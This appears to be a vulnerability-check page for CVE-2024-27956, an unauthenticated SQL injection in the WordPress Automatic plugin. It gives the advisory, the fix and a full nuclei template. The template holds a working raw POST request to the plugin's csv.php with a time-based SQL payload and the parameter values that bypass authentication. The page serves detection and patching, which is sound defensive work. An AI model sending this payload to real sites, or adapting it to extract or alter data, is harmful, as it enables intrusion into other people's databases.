WordPress Automatic Plugin <= 3.92.0 - SQL Injection

criticalseverity

9.9CVSS score

94.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The Automatic plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.92.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can execute arbitrary SQL queries on the database, potentially extracting sensitive information or modifying data.

Fix

Update WordPress Automatic plugin to version 3.92.1 or later.

How to confirm it

Send: @timeout: 20s
Positive when: duration>=5 and status_code == 200 and contains(header, "application/csv") and contains_all(body, "DATE", "ACTION", "KEYWORD")

Run it with nuclei: nuclei -id CVE-2024-27956 -u <target>

The full check

id: CVE-2024-27956

info:
  name: WordPress Automatic Plugin <= 3.92.0 - SQL Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    The Automatic plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.92.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries on the database, potentially extracting sensitive information or modifying data.
  remediation: |
    Update WordPress Automatic plugin to version 3.92.1 or later.
  reference:
    - https://github.com/truonghuuphuc/CVE-2024-27956
    - https://patchstack.com/database/vulnerability/wp-automatic/wordpress-automatic-plugin-3-92-0-unauthenticated-arbitrary-sql-execution-vulnerability?_s_id=cve
    - https://github.com/NaInSec/CVE-LIST
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
    cvss-score: 9.9
    cve-id: CVE-2024-27956
    cwe-id: CWE-89
    epss-score: 0.94057
    epss-percentile: 0.99848
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "wp-content/plugins/wp-automatic"
  tags: time-based-sqli,cve,cve2024,sqli,wordpress,wpscan,wp-automatic,vkev,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        q=SELECT IF(1=1,sleep(5),sleep(0));&auth=%00&integ=dc9b923a00f0e449c3b401fb0d7e2fae

    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'
          - 'status_code == 200'
          - 'contains(header, "application/csv")'
          - 'contains_all(body, "DATE", "ACTION", "KEYWORD")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from